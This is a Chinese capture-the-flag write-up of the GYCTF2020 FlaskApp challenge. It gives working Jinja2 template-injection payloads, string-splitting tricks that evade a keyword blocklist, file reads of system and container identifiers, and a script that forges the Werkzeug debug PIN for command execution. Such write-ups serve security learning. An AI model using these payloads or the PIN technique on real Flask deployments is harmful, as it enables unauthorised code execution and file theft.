[GYCTF2020]FlaskApp
知识点:
ssti模板注入
jinja2中 控制结构 {% %}
变量取值 {{ }}
利用PIN码进行RCE
解题:
非预期:
直接用payload字符拼接绕过
先进入题目界面:
就一个简单的base加密解密界面,根据题目,知道ssti,试了下,就是在先加密再在解密处存在ssti,依次尝试payload{{‘‘.__class__}}
但是发现奇怪的东西
再试了下常用的payload都不行,这里就需要之前一直没用过的{% %}姿势了,payload如下:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__==‘catch_warnings‘ %}
{{ c.__init__.__globals__[‘__builtins__‘].open(‘app.py‘,‘r‘).read() }}
{% endif %}{% endfor %}
得到源码,waf如下:
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
大概过滤了flag os system popen import eval chr request
等,而且会将字符转小写,所以没法通过lower方法或者base64绕过
使用payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==‘catch_warnings‘ %}{{ c.__init__.__globals__[‘__builtins__‘][‘__imp‘+‘ort__‘](‘o‘+‘s‘).listdir(‘/‘)}}{% endif %}{% endfor %}
得到:this_is_the_flag.txt
在用命令读取文件:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==‘catch_warnings‘ %}{{ c.__init__.__globals__[‘__builtins__‘].open(‘/this_is_the_fl‘+‘ag.txt‘,‘r‘).read()}}{% endif %}{% endfor %}
得到flag
预期解:
进入base解密解密,随便乱输,进入debug模式
需要六个数据来计算PIN码
1.运行app的用户名,读/etc/passwd
2.module name 一般固定为flask.app
3.getattr(app, "\_\_name\_\_", app.\_\_class\_\_.\_\_name\_\_)
的结果。就是Flask
4.flask库下app.py的绝对路径,不是当前运行的app.py的路径,在debug模式下报错就能直接看见,该题为/usr/local/lib/python3.7/site-packages/flask/app.py
5.当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address读取,eth0为当前使用的网卡,如果有多个网卡数字可能会变,这里为02:42:ac:10:af:4d
,转十进制为 2485377871693
6.机器的id
对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id
或/proc/sys/kernel/random/boot_i
,有的系统没有这两个文件,windows的id获取跟linux也不同。对于docker机则读取/proc/self/cgroup
,序列号为1那行1:name=systemd:/docker/4e772af154cafb860b97bba6feb6f89c7fb22df8b874519cdd0418940ce0158d
首先获取mac地址:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==‘catch_warnings‘ %}{{ c.__init__.__globals__[‘__builtins__‘].open(‘/sys/class/net/eth0/address‘,‘r‘).read() }}{% endif %}{% endfor %}
得到:02:42:ac:10:af:4d
,转十进制为 2485377871693方法:pythonprint(int(‘0242ac10af4d‘,16))
得到2485377871693
再获取机器id,读取/proc/self/cgroup
:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==‘catch_warnings‘ %}{{ c.__init__.__globals__[‘__builtins__‘].open(‘/proc/self/cgroup‘,‘r‘).read() }}{% endif %}{% endfor %}
得到:
结果 : 12:freezer:/docker/4e772af154cafb860b97bba6feb6f89c7fb22df8b874519cdd0418940ce0158d 11:hugetlb:/docker/4e772af154cafb860b97bba6feb6f89c7fb22df8b874519cdd0418940ce0158d 10:blkio:/docker/4e772af154cafb860b97bba6feb6f89c7fb22df8b874519cdd0418940ce0158d 9:net_cls,net_prio:/docker/4e772af154cafb860b97bba6feb6f89c7fb22df8b874519cdd0418940ce0158d 8:cpu,cpuacct:/docker/4e772af154cafb860b97bba6feb6f89c7fb22df8b874519cdd0418940ce0158d 7:perf_event:/docker/4e772af154cafb860b97bba6feb6f89c7fb22df8b874519cdd0418940ce0158d 6:pids:/docker/4e772af154cafb860b97bba6feb6f89c7fb22df8b874519cdd0418940ce0158d 5:devices:/docker/4e772af154cafb860b97bba6feb6f89c7fb22df8b874519cdd0418940ce0158d 4:rdma:/ 3:memory:/docker/4e772af154cafb860b97bba6feb6f89c7fb22df8b874519cdd0418940ce0158d 2:cpuset:/docker/4e772af154cafb860b97bba6feb6f89c7fb22df8b874519cdd0418940ce0158d 1:name=systemd:/docker/4e772af154cafb860b97bba6feb6f89c7fb22df8b874519cdd0418940ce0158d 0::/system.slice/containerd.service
序列号为1那行1:name=systemd:/docker/4e772af154cafb860b97bba6feb6f89c7fb22df8b874519cdd0418940ce0158d
就是
全部凑齐之后就可以计算PIN了,脚本如下:
import hashlib
from itertools import chain
probably_public_bits = [
‘flaskweb‘,
‘flask.app‘,
‘Flask‘,
‘/usr/local/lib/python3.7/site-packages/flask/app.py‘,
]
private_bits = [
‘2485377871693‘,
‘4e772af154cafb860b97bba6feb6f89c7fb22df8b874519cdd0418940ce0158d ‘
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode(‘utf-8‘)
h.update(bit)
h.update(b‘cookiesalt‘)
cookie_name = ‘__wzd‘ + h.hexdigest()[:20]
num = None
if num is None:
h.update(b‘pinsalt‘)
num = (‘%09d‘ % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = ‘-‘.join(num[x:x + group_size].rjust(group_size, ‘0‘)
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
得到pin码:883-071-427
再使用命令:
import os os.popen("ls -l /").read() os.popen("cat /this_is_the_flag.txt").read()
参考文章:
https://blog.csdn.net/Alexhcf/article/details/108400293